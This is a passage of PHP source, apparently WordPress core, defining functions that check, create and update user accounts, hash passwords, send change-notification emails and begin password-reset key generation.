 * For more information on this and similar theme functions, check out
 * the {@link https://developer.wordpress.org/themes/basics/conditional-tags/
 * Conditional Tags} article in the Theme Developer Handbook.
 *
 * @since 2.0.0
 *
 * @param string $username The username to check for existence.
 * @return int|false The user ID on success, false on failure.
 */
function username_exists( $username ) {
	$user = get_user_by( 'login', $username );
	if ( $user ) {
		$user_id = $user->ID;
	} else {
		$user_id = false;
	}

	/**
	 * Filters whether the given username exists.
	 *
	 * @since 4.9.0
	 *
	 * @param int|false $user_id  The user ID associated with the username,
	 *                            or false if the username does not exist.
	 * @param string    $username The username to check for existence.
	 */
	return apply_filters( 'username_exists', $user_id, $username );
}

/**
 * Determines whether the given email exists.
 *
 * For more information on this and similar theme functions, check out
 * the {@link https://developer.wordpress.org/themes/basics/conditional-tags/
 * Conditional Tags} article in the Theme Developer Handbook.
 *
 * @since 2.1.0
 *
 * @param string $email The email to check for existence.
 * @return int|false The user ID on success, false on failure.
 */
function email_exists( $email ) {
	$user = get_user_by( 'email', $email );
	if ( $user ) {
		$user_id = $user->ID;
	} else {
		$user_id = false;
	}

	/**
	 * Filters whether the given email exists.
	 *
	 * @since 5.6.0
	 *
	 * @param int|false $user_id The user ID associated with the email,
	 *                           or false if the email does not exist.
	 * @param string    $email   The email to check for existence.
	 */
	return apply_filters( 'email_exists', $user_id, $email );
}

/**
 * Checks whether a username is valid.
 *
 * @since 2.0.1
 * @since 4.4.0 Empty sanitized usernames are now considered invalid.
 *
 * @param string $username Username.
 * @return bool Whether username given is valid.
 */
function validate_username( $username ) {
	$sanitized = sanitize_user( $username, true );
	$valid     = ( $sanitized == $username && ! empty( $sanitized ) );

	/**
	 * Filters whether the provided username is valid.
	 *
	 * @since 2.0.1
	 *
	 * @param bool   $valid    Whether given username is valid.
	 * @param string $username Username to check.
	 */
	return apply_filters( 'validate_username', $valid, $username );
}

/**
 * Inserts a user into the database.
 *
 * Most of the `$userdata` array fields have filters associated with the values. Exceptions are
 * 'ID', 'rich_editing', 'syntax_highlighting', 'comment_shortcuts', 'admin_color', 'use_ssl',
 * 'user_registered', 'user_activation_key', 'spam', and 'role'. The filters have the prefix
 * 'pre_user_' followed by the field name. An example using 'description' would have the filter
 * called 'pre_user_description' that can be hooked into.
 *
 * @since 2.0.0
 * @since 3.6.0 The `aim`, `jabber`, and `yim` fields were removed as default user contact
 *              methods for new installations. See wp_get_user_contact_methods().
 * @since 4.7.0 The `locale` field can be passed to `$userdata`.
 * @since 5.3.0 The `user_activation_key` field can be passed to `$userdata`.
 * @since 5.3.0 The `spam` field can be passed to `$userdata` (Multisite only).
 * @since 5.9.0 The `meta_input` field can be passed to `$userdata` to allow addition of user meta data.
 *
 * @global wpdb $wpdb WordPress database abstraction object.
 *
 * @param array|object|WP_User $userdata {
 *     An array, object, or WP_User object of user data arguments.
 *
 *     @type int    $ID                   User ID. If supplied, the user will be updated.
 *     @type string $user_pass            The plain-text user password for new users.
 *                                        Hashed password for existing users.
 *     @type string $user_login           The user's login username.
 *     @type string $user_nicename        The URL-friendly user name.
 *     @type string $user_url             The user URL.
 *     @type string $user_email           The user email address.
 *     @type string $display_name         The user's display name.
 *                                        Default is the user's username.
 *     @type string $nickname             The user's nickname.
 *                                        Default is the user's username.
 *     @type string $first_name           The user's first name. For new users, will be used
 *                                        to build the first part of the user's display name
 *                                        if `$display_name` is not specified.
 *     @type string $last_name            The user's last name. For new users, will be used
 *                                        to build the second part of the user's display name
 *                                        if `$display_name` is not specified.
 *     @type string $description          The user's biographical description.
 *     @type string $rich_editing         Whether to enable the rich-editor for the user.
 *                                        Accepts 'true' or 'false' as a string literal,
 *                                        not boolean. Default 'true'.
 *     @type string $syntax_highlighting  Whether to enable the rich code editor for the user.
 *                                        Accepts 'true' or 'false' as a string literal,
 *                                        not boolean. Default 'true'.
 *     @type string $comment_shortcuts    Whether to enable comment moderation keyboard
 *                                        shortcuts for the user. Accepts 'true' or 'false'
 *                                        as a string literal, not boolean. Default 'false'.
 *     @type string $admin_color          Admin color scheme for the user. Default 'fresh'.
 *     @type bool   $use_ssl              Whether the user should always access the admin over
 *                                        https. Default false.
 *     @type string $user_registered      Date the user registered in UTC. Format is 'Y-m-d H:i:s'.
 *     @type string $user_activation_key  Password reset key. Default empty.
 *     @type bool   $spam                 Multisite only. Whether the user is marked as spam.
 *                                        Default false.
 *     @type string $show_admin_bar_front Whether to display the Admin Bar for the user
 *                                        on the site's front end. Accepts 'true' or 'false'
 *                                        as a string literal, not boolean. Default 'true'.
 *     @type string $role                 User's role.
 *     @type string $locale               User's locale. Default empty.
 *     @type array  $meta_input           Array of custom user meta values keyed by meta key.
 *                                        Default empty.
 * }
 * @return int|WP_Error The newly created user's ID or a WP_Error object if the user could not
 *                      be created.
 */
function wp_insert_user( $userdata ) {
	global $wpdb;

	if ( $userdata instanceof stdClass ) {
		$userdata = get_object_vars( $userdata );
	} elseif ( $userdata instanceof WP_User ) {
		$userdata = $userdata->to_array();
	}

	// Are we updating or creating?
	if ( ! empty( $userdata['ID'] ) ) {
		$user_id       = (int) $userdata['ID'];
		$update        = true;
		$old_user_data = get_userdata( $user_id );

		if ( ! $old_user_data ) {
			return new WP_Error( 'invalid_user_id', __( 'Invalid user ID.' ) );
		}

		// Slash current user email to compare it later with slashed new user email.
		$old_user_data->user_email = wp_slash( $old_user_data->user_email );

		// Hashed in wp_update_user(), plaintext if called directly.
		$user_pass = ! empty( $userdata['user_pass'] ) ? $userdata['user_pass'] : $old_user_data->user_pass;
	} else {
		$update = false;
		// Hash the password.
		$user_pass = wp_hash_password( $userdata['user_pass'] );
	}

	$sanitized_user_login = sanitize_user( $userdata['user_login'], true );

	/**
	 * Filters a username after it has been sanitized.
	 *
	 * This filter is called before the user is created or updated.
	 *
	 * @since 2.0.3
	 *
	 * @param string $sanitized_user_login Username after it has been sanitized.
	 */
	$pre_user_login = apply_filters( 'pre_user_login', $sanitized_user_login );

	// Remove any non-printable chars from the login string to see if we have ended up with an empty username.
	$user_login = trim( $pre_user_login );

	// user_login must be between 0 and 60 characters.
	if ( empty( $user_login ) ) {
		return new WP_Error( 'empty_user_login', __( 'Cannot create a user with an empty login name.' ) );
	} elseif ( mb_strlen( $user_login ) > 60 ) {
		return new WP_Error( 'user_login_too_long', __( 'Username may not be longer than 60 characters.' ) );
	}

	if ( ! $update && username_exists( $user_login ) ) {
		return new WP_Error( 'existing_user_login', __( 'Sorry, that username already exists!' ) );
	}

	/**
	 * Filters the list of disallowed usernames.
	 *
	 * @since 4.4.0
	 *
	 * @param array $usernames Array of disallowed usernames.
	 */
	$illegal_logins = (array) apply_filters( 'illegal_user_logins', array() );

	if ( in_array( strtolower( $user_login ), array_map( 'strtolower', $illegal_logins ), true ) ) {
		return new WP_Error( 'invalid_username', __( 'Sorry, that username is not allowed.' ) );
	}

	/*
	 * If a nicename is provided, remove unsafe user characters before using it.
	 * Otherwise build a nicename from the user_login.
	 */
	if ( ! empty( $userdata['user_nicename'] ) ) {
		$user_nicename = sanitize_user( $userdata['user_nicename'], true );
	} else {
		$user_nicename = mb_substr( $user_login, 0, 50 );
	}

	$user_nicename = sanitize_title( $user_nicename );

	/**
	 * Filters a user's nicename before the user is created or updated.
	 *
	 * @since 2.0.3
	 *
	 * @param string $user_nicename The user's nicename.
	 */
	$user_nicename = apply_filters( 'pre_user_nicename', $user_nicename );

	if ( mb_strlen( $user_nicename ) > 50 ) {
		return new WP_Error( 'user_nicename_too_long', __( 'Nicename may not be longer than 50 characters.' ) );
	}

	$user_nicename_check = $wpdb->get_var( $wpdb->prepare( "SELECT ID FROM $wpdb->users WHERE user_nicename = %s AND user_login != %s LIMIT 1", $user_nicename, $user_login ) );

	if ( $user_nicename_check ) {
		$suffix = 2;
		while ( $user_nicename_check ) {
			// user_nicename allows 50 chars. Subtract one for a hyphen, plus the length of the suffix.
			$base_length         = 49 - mb_strlen( $suffix );
			$alt_user_nicename   = mb_substr( $user_nicename, 0, $base_length ) . "-$suffix";
			$user_nicename_check = $wpdb->get_var( $wpdb->prepare( "SELECT ID FROM $wpdb->users WHERE user_nicename = %s AND user_login != %s LIMIT 1", $alt_user_nicename, $user_login ) );
			++$suffix;
		}
		$user_nicename = $alt_user_nicename;
	}

	$raw_user_email = empty( $userdata['user_email'] ) ? '' : $userdata['user_email'];

	/**
	 * Filters a user's email before the user is created or updated.
	 *
	 * @since 2.0.3
	 *
	 * @param string $raw_user_email The user's email.
	 */
	$user_email = apply_filters( 'pre_user_email', $raw_user_email );

	/*
	 * If there is no update, just check for `email_exists`. If there is an update,
	 * check if current email and new email are the same, and check `email_exists`
	 * accordingly.
	 */
	if ( ( ! $update || ( ! empty( $old_user_data ) && 0 !== strcasecmp( $user_email, $old_user_data->user_email ) ) )
		&& ! defined( 'WP_IMPORTING' )
		&& email_exists( $user_email )
	) {
		return new WP_Error( 'existing_user_email', __( 'Sorry, that email address is already used!' ) );
	}

	$raw_user_url = empty( $userdata['user_url'] ) ? '' : $userdata['user_url'];

	/**
	 * Filters a user's URL before the user is created or updated.
	 *
	 * @since 2.0.3
	 *
	 * @param string $raw_user_url The user's URL.
	 */
	$user_url = apply_filters( 'pre_user_url', $raw_user_url );

	if ( mb_strlen( $user_url ) > 100 ) {
		return new WP_Error( 'user_url_too_long', __( 'User URL may not be longer than 100 characters.' ) );
	}

	$user_registered = empty( $userdata['user_registered'] ) ? gmdate( 'Y-m-d H:i:s' ) : $userdata['user_registered'];

	$user_activation_key = empty( $userdata['user_activation_key'] ) ? '' : $userdata['user_activation_key'];

	if ( ! empty( $userdata['spam'] ) && ! is_multisite() ) {
		return new WP_Error( 'no_spam', __( 'Sorry, marking a user as spam is only supported on Multisite.' ) );
	}

	$spam = empty( $userdata['spam'] ) ? 0 : (bool) $userdata['spam'];

	// Store values to save in user meta.
	$meta = array();

	$nickname = empty( $userdata['nickname'] ) ? $user_login : $userdata['nickname'];

	/**
	 * Filters a user's nickname before the user is created or updated.
	 *
	 * @since 2.0.3
	 *
	 * @param string $nickname The user's nickname.
	 */
	$meta['nickname'] = apply_filters( 'pre_user_nickname', $nickname );

	$first_name = empty( $userdata['first_name'] ) ? '' : $userdata['first_name'];

	/**
	 * Filters a user's first name before the user is created or updated.
	 *
	 * @since 2.0.3
	 *
	 * @param string $first_name The user's first name.
	 */
	$meta['first_name'] = apply_filters( 'pre_user_first_name', $first_name );

	$last_name = empty( $userdata['last_name'] ) ? '' : $userdata['last_name'];

	/**
	 * Filters a user's last name before the user is created or updated.
	 *
	 * @since 2.0.3
	 *
	 * @param string $last_name The user's last name.
	 */
	$meta['last_name'] = apply_filters( 'pre_user_last_name', $last_name );

	if ( empty( $userdata['display_name'] ) ) {
		if ( $update ) {
			$display_name = $user_login;
		} elseif ( $meta['first_name'] && $meta['last_name'] ) {
			$display_name = sprintf(
				/* translators: 1: User's first name, 2: Last name. */
				_x( '%1$s %2$s', 'Display name based on first name and last name' ),
				$meta['first_name'],
				$meta['last_name']
			);
		} elseif ( $meta['first_name'] ) {
			$display_name = $meta['first_name'];
		} elseif ( $meta['last_name'] ) {
			$display_name = $meta['last_name'];
		} else {
			$display_name = $user_login;
		}
	} else {
		$display_name = $userdata['display_name'];
	}

	/**
	 * Filters a user's display name before the user is created or updated.
	 *
	 * @since 2.0.3
	 *
	 * @param string $display_name The user's display name.
	 */
	$display_name = apply_filters( 'pre_user_display_name', $display_name );

	$description = empty( $userdata['description'] ) ? '' : $userdata['description'];

	/**
	 * Filters a user's description before the user is created or updated.
	 *
	 * @since 2.0.3
	 *
	 * @param string $description The user's description.
	 */
	$meta['description'] = apply_filters( 'pre_user_description', $description );

	$meta['rich_editing'] = empty( $userdata['rich_editing'] ) ? 'true' : $userdata['rich_editing'];

	$meta['syntax_highlighting'] = empty( $userdata['syntax_highlighting'] ) ? 'true' : $userdata['syntax_highlighting'];

	$meta['comment_shortcuts'] = empty( $userdata['comment_shortcuts'] ) || 'false' === $userdata['comment_shortcuts'] ? 'false' : 'true';

	$admin_color         = empty( $userdata['admin_color'] ) ? 'fresh' : $userdata['admin_color'];
	$meta['admin_color'] = preg_replace( '|[^a-z0-9 _.\-@]|i', '', $admin_color );

	$meta['use_ssl'] = empty( $userdata['use_ssl'] ) ? 0 : (bool) $userdata['use_ssl'];

	$meta['show_admin_bar_front'] = empty( $userdata['show_admin_bar_front'] ) ? 'true' : $userdata['show_admin_bar_front'];

	$meta['locale'] = isset( $userdata['locale'] ) ? $userdata['locale'] : '';

	$compacted = compact( 'user_pass', 'user_nicename', 'user_email', 'user_url', 'user_registered', 'user_activation_key', 'display_name' );
	$data      = wp_unslash( $compacted );

	if ( ! $update ) {
		$data = $data + compact( 'user_login' );
	}

	if ( is_multisite() ) {
		$data = $data + compact( 'spam' );
	}

	/**
	 * Filters user data before the record is created or updated.
	 *
	 * It only includes data in the users table, not any user metadata.
	 *
	 * @since 4.9.0
	 * @since 5.8.0 The `$userdata` parameter was added.
	 *
	 * @param array    $data {
	 *     Values and keys for the user.
	 *
	 *     @type string $user_login      The user's login. Only included if $update == false
	 *     @type string $user_pass       The user's password.
	 *     @type string $user_email      The user's email.
	 *     @type string $user_url        The user's url.
	 *     @type string $user_nicename   The user's nice name. Defaults to a URL-safe version of user's login
	 *     @type string $display_name    The user's display name.
	 *     @type string $user_registered MySQL timestamp describing the moment when the user registered. Defaults to
	 *                                   the current UTC timestamp.
	 * }
	 * @param bool     $update   Whether the user is being updated rather than created.
	 * @param int|null $user_id  ID of the user to be updated, or NULL if the user is being created.
	 * @param array    $userdata The raw array of data passed to wp_insert_user().
	 */
	$data = apply_filters( 'wp_pre_insert_user_data', $data, $update, ( $update ? $user_id : null ), $userdata );

	if ( empty( $data ) || ! is_array( $data ) ) {
		return new WP_Error( 'empty_data', __( 'Not enough data to create this user.' ) );
	}

	if ( $update ) {
		if ( $user_email !== $old_user_data->user_email || $user_pass !== $old_user_data->user_pass ) {
			$data['user_activation_key'] = '';
		}
		$wpdb->update( $wpdb->users, $data, array( 'ID' => $user_id ) );
	} else {
		$wpdb->insert( $wpdb->users, $data );
		$user_id = (int) $wpdb->insert_id;
	}

	$user = new WP_User( $user_id );

	/**
	 * Filters a user's meta values and keys immediately after the user is created or updated
	 * and before any user meta is inserted or updated.
	 *
	 * Does not include contact methods. These are added using `wp_get_user_contact_methods( $user )`.
	 *
	 * For custom meta fields, see the {@see 'insert_custom_user_meta'} filter.
	 *
	 * @since 4.4.0
	 * @since 5.8.0 The `$userdata` parameter was added.
	 *
	 * @param array $meta {
	 *     Default meta values and keys for the user.
	 *
	 *     @type string   $nickname             The user's nickname. Default is the user's username.
	 *     @type string   $first_name           The user's first name.
	 *     @type string   $last_name            The user's last name.
	 *     @type string   $description          The user's description.
	 *     @type string   $rich_editing         Whether to enable the rich-editor for the user. Default 'true'.
	 *     @type string   $syntax_highlighting  Whether to enable the rich code editor for the user. Default 'true'.
	 *     @type string   $comment_shortcuts    Whether to enable keyboard shortcuts for the user. Default 'false'.
	 *     @type string   $admin_color          The color scheme for a user's admin screen. Default 'fresh'.
	 *     @type int|bool $use_ssl              Whether to force SSL on the user's admin area. 0|false if SSL
	 *                                          is not forced.
	 *     @type string   $show_admin_bar_front Whether to show the admin bar on the front end for the user.
	 *                                          Default 'true'.
	 *     @type string   $locale               User's locale. Default empty.
	 * }
	 * @param WP_User $user     User object.
	 * @param bool    $update   Whether the user is being updated rather than created.
	 * @param array   $userdata The raw array of data passed to wp_insert_user().
	 */
	$meta = apply_filters( 'insert_user_meta', $meta, $user, $update, $userdata );

	$custom_meta = array();
	if ( array_key_exists( 'meta_input', $userdata ) && is_array( $userdata['meta_input'] ) && ! empty( $userdata['meta_input'] ) ) {
		$custom_meta = $userdata['meta_input'];
	}

	/**
	 * Filters a user's custom meta values and keys immediately after the user is created or updated
	 * and before any user meta is inserted or updated.
	 *
	 * For non-custom meta fields, see the {@see 'insert_user_meta'} filter.
	 *
	 * @since 5.9.0
	 *
	 * @param array   $custom_meta Array of custom user meta values keyed by meta key.
	 * @param WP_User $user        User object.
	 * @param bool    $update      Whether the user is being updated rather than created.
	 * @param array   $userdata    The raw array of data passed to wp_insert_user().
	 */
	$custom_meta = apply_filters( 'insert_custom_user_meta', $custom_meta, $user, $update, $userdata );

	$meta = array_merge( $meta, $custom_meta );

	if ( $update ) {
		// Update user meta.
		foreach ( $meta as $key => $value ) {
			update_user_meta( $user_id, $key, $value );
		}
	} else {
		// Add user meta.
		foreach ( $meta as $key => $value ) {
			add_user_meta( $user_id, $key, $value );
		}
	}

	foreach ( wp_get_user_contact_methods( $user ) as $key => $value ) {
		if ( isset( $userdata[ $key ] ) ) {
			update_user_meta( $user_id, $key, $userdata[ $key ] );
		}
	}

	if ( isset( $userdata['role'] ) ) {
		$user->set_role( $userdata['role'] );
	} elseif ( ! $update ) {
		$user->set_role( get_option( 'default_role' ) );
	}

	clean_user_cache( $user_id );

	if ( $update ) {
		/**
		 * Fires immediately after an existing user is updated.
		 *
		 * @since 2.0.0
		 * @since 5.8.0 The `$userdata` parameter was added.
		 *
		 * @param int     $user_id       User ID.
		 * @param WP_User $old_user_data Object containing user's data prior to update.
		 * @param array   $userdata      The raw array of data passed to wp_insert_user().
		 */
		do_action( 'profile_update', $user_id, $old_user_data, $userdata );

		if ( isset( $userdata['spam'] ) && $userdata['spam'] != $old_user_data->spam ) {
			if ( 1 == $userdata['spam'] ) {
				/**
				 * Fires after the user is marked as a SPAM user.
				 *
				 * @since 3.0.0
				 *
				 * @param int $user_id ID of the user marked as SPAM.
				 */
				do_action( 'make_spam_user', $user_id );
			} else {
				/**
				 * Fires after the user is marked as a HAM user. Opposite of SPAM.
				 *
				 * @since 3.0.0
				 *
				 * @param int $user_id ID of the user marked as HAM.
				 */
				do_action( 'make_ham_user', $user_id );
			}
		}
	} else {
		/**
		 * Fires immediately after a new user is registered.
		 *
		 * @since 1.5.0
		 * @since 5.8.0 The `$userdata` parameter was added.
		 *
		 * @param int   $user_id  User ID.
		 * @param array $userdata The raw array of data passed to wp_insert_user().
		 */
		do_action( 'user_register', $user_id, $userdata );
	}

	return $user_id;
}

/**
 * Updates a user in the database.
 *
 * It is possible to update a user's password by specifying the 'user_pass'
 * value in the $userdata parameter array.
 *
 * If current user's password is being updated, then the cookies will be
 * cleared.
 *
 * @since 2.0.0
 *
 * @see wp_insert_user() For what fields can be set in $userdata.
 *
 * @param array|object|WP_User $userdata An array of user data or a user object of type stdClass or WP_User.
 * @return int|WP_Error The updated user's ID or a WP_Error object if the user could not be updated.
 */
function wp_update_user( $userdata ) {
	if ( $userdata instanceof stdClass ) {
		$userdata = get_object_vars( $userdata );
	} elseif ( $userdata instanceof WP_User ) {
		$userdata = $userdata->to_array();
	}

	$userdata_raw = $userdata;

	$user_id = isset( $userdata['ID'] ) ? (int) $userdata['ID'] : 0;
	if ( ! $user_id ) {
		return new WP_Error( 'invalid_user_id', __( 'Invalid user ID.' ) );
	}

	// First, get all of the original fields.
	$user_obj = get_userdata( $user_id );
	if ( ! $user_obj ) {
		return new WP_Error( 'invalid_user_id', __( 'Invalid user ID.' ) );
	}

	$user = $user_obj->to_array();

	// Add additional custom fields.
	foreach ( _get_additional_user_keys( $user_obj ) as $key ) {
		$user[ $key ] = get_user_meta( $user_id, $key, true );
	}

	// Escape data pulled from DB.
	$user = add_magic_quotes( $user );

	if ( ! empty( $userdata['user_pass'] ) && $userdata['user_pass'] !== $user_obj->user_pass ) {
		// If password is changing, hash it now.
		$plaintext_pass        = $userdata['user_pass'];
		$userdata['user_pass'] = wp_hash_password( $userdata['user_pass'] );

		/**
		 * Filters whether to send the password change email.
		 *
		 * @since 4.3.0
		 *
		 * @see wp_insert_user() For `$user` and `$userdata` fields.
		 *
		 * @param bool  $send     Whether to send the email.
		 * @param array $user     The original user array.
		 * @param array $userdata The updated user array.
		 */
		$send_password_change_email = apply_filters( 'send_password_change_email', true, $user, $userdata );
	}

	if ( isset( $userdata['user_email'] ) && $user['user_email'] !== $userdata['user_email'] ) {
		/**
		 * Filters whether to send the email change email.
		 *
		 * @since 4.3.0
		 *
		 * @see wp_insert_user() For `$user` and `$userdata` fields.
		 *
		 * @param bool  $send     Whether to send the email.
		 * @param array $user     The original user array.
		 * @param array $userdata The updated user array.
		 */
		$send_email_change_email = apply_filters( 'send_email_change_email', true, $user, $userdata );
	}

	clean_user_cache( $user_obj );

	// Merge old and new fields with new fields overwriting old ones.
	$userdata = array_merge( $user, $userdata );
	$user_id  = wp_insert_user( $userdata );

	if ( is_wp_error( $user_id ) ) {
		return $user_id;
	}

	$blog_name = wp_specialchars_decode( get_option( 'blogname' ), ENT_QUOTES );

	$switched_locale = false;
	if ( ! empty( $send_password_change_email ) || ! empty( $send_email_change_email ) ) {
		$switched_locale = switch_to_user_locale( $user_id );
	}

	if ( ! empty( $send_password_change_email ) ) {
		/* translators: Do not translate USERNAME, ADMIN_EMAIL, EMAIL, SITENAME, SITEURL: those are placeholders. */
		$pass_change_text = __(
			'Hi ###USERNAME###,

This notice confirms that your password was changed on ###SITENAME###.

If you did not change your password, please contact the Site Administrator at
###ADMIN_EMAIL###

This email has been sent to ###EMAIL###

Regards,
All at ###SITENAME###
###SITEURL###'
		);

		$pass_change_email = array(
			'to'      => $user['user_email'],
			/* translators: Password change notification email subject. %s: Site title. */
			'subject' => __( '[%s] Password Changed' ),
			'message' => $pass_change_text,
			'headers' => '',
		);

		/**
		 * Filters the contents of the email sent when the user's password is changed.
		 *
		 * @since 4.3.0
		 *
		 * @param array $pass_change_email {
		 *     Used to build wp_mail().
		 *
		 *     @type string $to      The intended recipients. Add emails in a comma separated string.
		 *     @type string $subject The subject of the email.
		 *     @type string $message The content of the email.
		 *         The following strings have a special meaning and will get replaced dynamically:
		 *         - ###USERNAME###    The current user's username.
		 *         - ###ADMIN_EMAIL### The admin email in case this was unexpected.
		 *         - ###EMAIL###       The user's email address.
		 *         - ###SITENAME###    The name of the site.
		 *         - ###SITEURL###     The URL to the site.
		 *     @type string $headers Headers. Add headers in a newline (\r\n) separated string.
		 * }
		 * @param array $user     The original user array.
		 * @param array $userdata The updated user array.
		 */
		$pass_change_email = apply_filters( 'password_change_email', $pass_change_email, $user, $userdata );

		$pass_change_email['message'] = str_replace( '###USERNAME###', $user['user_login'], $pass_change_email['message'] );
		$pass_change_email['message'] = str_replace( '###ADMIN_EMAIL###', get_option( 'admin_email' ), $pass_change_email['message'] );
		$pass_change_email['message'] = str_replace( '###EMAIL###', $user['user_email'], $pass_change_email['message'] );
		$pass_change_email['message'] = str_replace( '###SITENAME###', $blog_name, $pass_change_email['message'] );
		$pass_change_email['message'] = str_replace( '###SITEURL###', home_url(), $pass_change_email['message'] );

		wp_mail( $pass_change_email['to'], sprintf( $pass_change_email['subject'], $blog_name ), $pass_change_email['message'], $pass_change_email['headers'] );
	}

	if ( ! empty( $send_email_change_email ) ) {
		/* translators: Do not translate USERNAME, ADMIN_EMAIL, NEW_EMAIL, EMAIL, SITENAME, SITEURL: those are placeholders. */
		$email_change_text = __(
			'Hi ###USERNAME###,

This notice confirms that your email address on ###SITENAME### was changed to ###NEW_EMAIL###.

If you did not change your email, please contact the Site Administrator at
###ADMIN_EMAIL###

This email has been sent to ###EMAIL###

Regards,
All at ###SITENAME###
###SITEURL###'
		);

		$email_change_email = array(
			'to'      => $user['user_email'],
			/* translators: Email change notification email subject. %s: Site title. */
			'subject' => __( '[%s] Email Changed' ),
			'message' => $email_change_text,
			'headers' => '',
		);

		/**
		 * Filters the contents of the email sent when the user's email is changed.
		 *
		 * @since 4.3.0
		 *
		 * @param array $email_change_email {
		 *     Used to build wp_mail().
		 *
		 *     @type string $to      The intended recipients.
		 *     @type string $subject The subject of the email.
		 *     @type string $message The content of the email.
		 *         The following strings have a special meaning and will get replaced dynamically:
		 *         - ###USERNAME###    The current user's username.
		 *         - ###ADMIN_EMAIL### The admin email in case this was unexpected.
		 *         - ###NEW_EMAIL###   The new email address.
		 *         - ###EMAIL###       The old email address.
		 *         - ###SITENAME###    The name of the site.
		 *         - ###SITEURL###     The URL to the site.
		 *     @type string $headers Headers.
		 * }
		 * @param array $user     The original user array.
		 * @param array $userdata The updated user array.
		 */
		$email_change_email = apply_filters( 'email_change_email', $email_change_email, $user, $userdata );

		$email_change_email['message'] = str_replace( '###USERNAME###', $user['user_login'], $email_change_email['message'] );
		$email_change_email['message'] = str_replace( '###ADMIN_EMAIL###', get_option( 'admin_email' ), $email_change_email['message'] );
		$email_change_email['message'] = str_replace( '###NEW_EMAIL###', $userdata['user_email'], $email_change_email['message'] );
		$email_change_email['message'] = str_replace( '###EMAIL###', $user['user_email'], $email_change_email['message'] );
		$email_change_email['message'] = str_replace( '###SITENAME###', $blog_name, $email_change_email['message'] );
		$email_change_email['message'] = str_replace( '###SITEURL###', home_url(), $email_change_email['message'] );

		wp_mail( $email_change_email['to'], sprintf( $email_change_email['subject'], $blog_name ), $email_change_email['message'], $email_change_email['headers'] );
	}

	if ( $switched_locale ) {
		restore_previous_locale();
	}

	// Update the cookies if the password changed.
	$current_user = wp_get_current_user();
	if ( $current_user->ID == $user_id ) {
		if ( isset( $plaintext_pass ) ) {
			wp_clear_auth_cookie();

			/*
			 * Here we calculate the expiration length of the current auth cookie and compare it to the default expiration.
			 * If it's greater than this, then we know the user checked 'Remember Me' when they logged in.
			 */
			$logged_in_cookie = wp_parse_auth_cookie( '', 'logged_in' );
			/** This filter is documented in wp-includes/pluggable.php */
			$default_cookie_life = apply_filters( 'auth_cookie_expiration', ( 2 * DAY_IN_SECONDS ), $user_id, false );
			$remember            = false;
			if ( false !== $logged_in_cookie && ( $logged_in_cookie['expiration'] - time() ) > $default_cookie_life ) {
				$remember = true;
			}

			wp_set_auth_cookie( $user_id, $remember );
		}
	}

	/**
	 * Fires after the user has been updated and emails have been sent.
	 *
	 * @since 6.3.0
	 *
	 * @param int   $user_id      The ID of the user that was just updated.
	 * @param array $userdata     The array of user data that was updated.
	 * @param array $userdata_raw The unedited array of user data that was updated.
	 */
	do_action( 'wp_update_user', $user_id, $userdata, $userdata_raw );

	return $user_id;
}

/**
 * Provides a simpler way of inserting a user into the database.
 *
 * Creates a new user with just the username, password, and email. For more
 * complex user creation use wp_insert_user() to specify more information.
 *
 * @since 2.0.0
 *
 * @see wp_insert_user() More complete way to create a new user.
 *
 * @param string $username The user's username.
 * @param string $password The user's password.
 * @param string $email    Optional. The user's email. Default empty.
 * @return int|WP_Error The newly created user's ID or a WP_Error object if the user could not
 *                      be created.
 */
function wp_create_user( $username, $password, $email = '' ) {
	$user_login = wp_slash( $username );
	$user_email = wp_slash( $email );
	$user_pass  = $password;

	$userdata = compact( 'user_login', 'user_email', 'user_pass' );
	return wp_insert_user( $userdata );
}

/**
 * Returns a list of meta keys to be (maybe) populated in wp_update_user().
 *
 * The list of keys returned via this function are dependent on the presence
 * of those keys in the user meta data to be set.
 *
 * @since 3.3.0
 * @access private
 *
 * @param WP_User $user WP_User instance.
 * @return string[] List of user keys to be populated in wp_update_user().
 */
function _get_additional_user_keys( $user ) {
	$keys = array( 'first_name', 'last_name', 'nickname', 'description', 'rich_editing', 'syntax_highlighting', 'comment_shortcuts', 'admin_color', 'use_ssl', 'show_admin_bar_front', 'locale' );
	return array_merge( $keys, array_keys( wp_get_user_contact_methods( $user ) ) );
}

/**
 * Sets up the user contact methods.
 *
 * Default contact methods were removed in 3.6. A filter dictates contact methods.
 *
 * @since 3.7.0
 *
 * @param WP_User|null $user Optional. WP_User object.
 * @return string[] Array of contact method labels keyed by contact method.
 */
function wp_get_user_contact_methods( $user = null ) {
	$methods = array();
	if ( get_site_option( 'initial_db_version' ) < 23588 ) {
		$methods = array(
			'aim'    => __( 'AIM' ),
			'yim'    => __( 'Yahoo IM' ),
			'jabber' => __( 'Jabber / Google Talk' ),
		);
	}

	/**
	 * Filters the user contact methods.
	 *
	 * @since 2.9.0
	 *
	 * @param string[]     $methods Array of contact method labels keyed by contact method.
	 * @param WP_User|null $user    WP_User object or null if none was provided.
	 */
	return apply_filters( 'user_contactmethods', $methods, $user );
}

/**
 * The old private function for setting up user contact methods.
 *
 * Use wp_get_user_contact_methods() instead.
 *
 * @since 2.9.0
 * @access private
 *
 * @param WP_User|null $user Optional. WP_User object. Default null.
 * @return string[] Array of contact method labels keyed by contact method.
 */
function _wp_get_user_contactmethods( $user = null ) {
	return wp_get_user_contact_methods( $user );
}

/**
 * Gets the text suggesting how to create strong passwords.
 *
 * @since 4.1.0
 *
 * @return string The password hint text.
 */
function wp_get_password_hint() {
	$hint = __( 'Hint: The password should be at least twelve characters long. To make it stronger, use upper and lower case letters, numbers, and symbols like ! " ? $ % ^ &amp; ).' );

	/**
	 * Filters the text describing the site's password complexity policy.
	 *
	 * @since 4.1.0
	 *
	 * @param string $hint The password hint text.
	 */
	return apply_filters( 'password_hint', $hint );
}

/**
 * Creates, stores, then returns a password reset key for user.
 *
 * @since 4.4.0
 *
 * @global PasswordHash $wp_hasher Portable PHP password hashing framework instance.
 *
 * @param WP_User $user User to retrieve password reset key for.
 * @return string|WP_Error Password reset key on success. WP_Error on error.
 */
function get_password_reset_key( $user ) {
	global $wp_hasher;

	if ( ! ( $user instanceof WP_User ) ) {
		return new WP_Error( 'invalidcombo', __( '<strong>Error:</strong> There is no account with that username or email address.' ) );
	}

	/**
	 * Fires before a new password is retrieved.
	 *
	 * Use the {@see 'retrieve_password'} hook instead.
	 *
	 * @since 1.5.0
	 * @deprecated 1.5.1 Misspelled. Use {@see 'retrieve_password'} hook instead.
	 *
	 * @param string $user_login The user login name.
	 */
	do_action_deprecated( 'retreive_password', array( $user->user_login ), '1.5.1', 'retrieve_password' );

	/**
	 * Fires before a new password is retrieved.
	 *
